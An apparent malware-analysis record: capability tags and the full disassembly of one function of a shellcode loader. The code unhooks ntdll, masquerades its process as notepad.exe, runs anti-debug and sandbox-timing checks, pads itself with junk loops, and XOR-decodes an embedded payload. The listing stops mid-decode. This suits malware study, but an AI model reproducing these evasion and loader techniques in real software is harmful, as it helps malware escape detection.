Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x938
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8a0], xmm6
mov dword [rbp + 0x8e0], ecx
mov qword [rbp + 0x8e8], rdx
call fcn.140002c60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x840], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
mov ecx, 0x4b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x830], rax
mov ecx, 0x4b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x828], rax
mov dword [rbp + 0x898], 0x12c
mov dword [rbp + 0x89c], 0
jmp 0x140001578
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x89c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x830]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x830]
add rax, rdx
mov edx, dword [rbp + 0x89c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x828]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x898], 1
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x12c
jle 0x1400014eb
mov rax, qword [rbp + 0x830]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x828]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x890], rax
cmp qword [rbp + 0x890], 0
jne 0x14000162a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x890], rax
cmp qword [rbp + 0x890], 0
je 0x1400019b8
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x680]
mov rax, qword [rbp + 0x820]
mov r10, qword [rbp + 0x890]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x818], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x810], rax
mov dword [rbp + 0x88c], 0xffffffff
mov ecx, 0x690
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x808], rax
add dword [rbp + 0x88c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x808]
add rax, rdx
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x808]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x88c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x808]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e00
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x88c], 0xd0
jle 0x1400016d5
mov rax, qword [rbp + 0x810]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x800]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x818]
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x818]
add rax, rdx
mov qword [rbp + 0x7e8], rax
mov word [rbp + 0x88a], 0
jmp 0x1400019a0
mov rax, qword [rbp + 0x7e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7e8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x88a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000198f
mov dword [rbp + 0x648], 0
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x648]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7f8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x884], 0x2a8
jmp 0x140001941
sub dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0
jg 0x14000193a
mov edx, dword [rbp + 0x648]
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x648]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x88a]
add eax, 1
mov word [rbp + 0x88a], ax
mov rax, qword [rbp + 0x7e8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x88a], ax
jb 0x140001848
mov ecx, 0xdfc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov ecx, 0xdfc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x87c], 0x37e
mov dword [rbp + 0x880], 0
jmp 0x140001a3d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x880]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 0x37e
jle 0x1400019f0
mov dword [rbp + 0x880], 0
jmp 0x140001a9c
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov edx, dword [rbp + 0x880]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x87c], 1
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 0x37e
jle 0x140001a55
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xea0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x878], 0
jmp 0x140001b21
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x1d3
jle 0x140001ae3
mov dword [rbp + 0x878], 0
jmp 0x140001bbe
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x878]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7c8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e00
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x1d3
jle 0x140001b3c
mov dword [rbp + 0x64c], 0
mov rax, qword [rbp + 0x840]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c0], rax
mov ecx, 0x1b60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov ecx, 0x1b60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x874], 0
jmp 0x140001cb4
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x36b
jle 0x140001c2a
mov dword [rbp + 0x874], 0
jmp 0x140001d22
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003c50
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x36b
jle 0x140001cd0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x64c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7c0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x658]
add rax, 0x3c
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x7a0], rax
cmp qword [rbp + 0x7a0], 0
je 0x140001df3
mov rax, qword [rbp + 0x7a0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov ecx, 0
call rax
mov dword [rbp + 0x870], eax
cmp dword [rbp + 0x870], 0xffffffff
je 0x140002b8d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
call rax
mov dword [rbp + 0x78c], eax
mov ecx, 0x213
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x790]
call rax
mov dword [rbp + 0x788], eax
mov eax, dword [rbp + 0x788]
sub eax, dword [rbp + 0x78c]
cmp eax, 0x1e1
jbe 0x140002b8d
mov dword [rbp + 0x644], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x644]
mov r8, qword [rbp + 0x780]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x644]
cmp eax, 1
je 0x140002b8d
mov dword [rbp + 0x77c], 0x3df
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x77c]
mov r8, qword [rbp + 0x770]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x3ad
jbe 0x140002b8d
mov dword [rbp + 0x75c], 0x24b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov eax, dword [rbp + 0x75c]
mov r8, qword [rbp + 0x750]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x219
jbe 0x140002b8d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov ecx, 0x294
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x262
jbe 0x140002b8d
mov qword [rbp + 0x728], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x720]
mov r9d, 0x3000
mov r8d, 0x263
mov edx, 0
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002b8d
mov dword [rbp + 0x640], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x640]
mov r8, qword [rbp + 0x718]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x640]
cmp eax, 1
je 0x140002b8d
mov qword [rbp + 0x710], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x708]
mov r9d, 0x3000
mov r8d, 0x3a1
mov edx, 0
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002b8d
mov ecx, 0x6a5
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6a5
jne 0x140002b8d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0x140]
lea rdx, [0x140006138]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x838]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x700]
mov r8d, 0
mov edx, 0x4fa
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov r9, qword [rbp + 0x6f8]
mov r8d, 0x4fa
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6e8], rax
mov ecx, 0xce8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov ecx, 0xce8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x868], 0x339
mov dword [rbp + 0x86c], 0
jmp 0x1400023ea
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x868], 1
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x339
jle 0x14000235d
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x840]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x6e8]
mov r9, qword [rbp + 0x6d0]
mov r8d, 0x4fa
mov rcx, rax
call r9
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
movabs rax, 0x137216df69615f77
movabs rdx, 0x78a112f215bc9e72
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x4ab9364511cd684e
movabs rdx, 0x7323e3228b041c11
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x85642924b0a8e06a
movabs rdx, 0xe73034e9bce848f9
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x39afcc6ef9a02a2f
movabs rdx, 0xee6c621dcebe1154
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x3af3034953bd4510
movabs rdx, 0x963bec31511271aa
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x10660aedeac9510c
movabs rdx, 0x6bc8481b6a0186db
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xe06551f0a54a28be
movabs rdx, 0xc40d8d8dc8a318f3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0xcb9c32aa5ec40d8d
movabs rdx, 0xeeab88e0856acc
mov qword [rbp + 0x12d], rax
mov qword [rbp + 0x135], rdx
movabs rax, 0xeb18df2639891edd
movabs rdx, 0xee6c23d54a59eb18
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x728e77f33d80c549
movabs rdx, 0xec05d1713df3712
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x8aa3daae9c305751
movabs rdx, 0x95279bfce102a6b3
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x17289f8dbe966b2b
movabs rdx, 0xf1f6a6618f55c3fc
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xe685a3faeca09564
movabs rdx, 0xd09144195068eb15
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x97e2d98aca81a941
movabs rdx, 0x30b15d5cc9072a5d
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x8bb9cd8832cc1383
movabs rdx, 0xfc3392489ad27865
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x9339fc3392489ad2
movabs rdx, 0xf158253b137d38
mov qword [rbp + 0xaa], rax
mov qword [rbp + 0xb2], rdx
jmp 0x14000297f
mov eax, dword [rbp + 0x864]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x860]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x864]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x860], 0x7b
jne 0x140002971
mov dword [rbp + 0x858], 0xffffffff
mov ecx, 0x1430
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
add dword [rbp + 0x858], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x858], 0x284
jle 0x1400026d8
mov dword [rbp + 0x860], 0
mov ecx, 0xdbc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x854], 0
jmp 0x140002824
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x36e
jle 0x14000279b
mov dword [rbp + 0x854], 0
jmp 0x140002950
mov dword [rbp + 0x69c], 0
jmp 0x140002932
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x69c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000292b
mov eax, dword [rbp + 0x69c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x698], xmm0
mov eax, dword [rbp + 0x854]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x69c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x69c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movss xmm0, dword [rbp + 0x698]
movss dword [rax], xmm0
add dword [rbp + 0x854], 1
mov eax, 0x36e
sub eax, dword [rbp + 0x854]
cmp dword [rbp + 0x69c], eax
jl 0x140002852
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x36e
jle 0x140002843
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002978
add dword [rbp + 0x860], 1
add dword [rbp + 0x864], 1
mov eax, dword [rbp + 0x864]
cmp eax, 0x78
jbe 0x140002685
mov dword [rbp + 0x864], 0
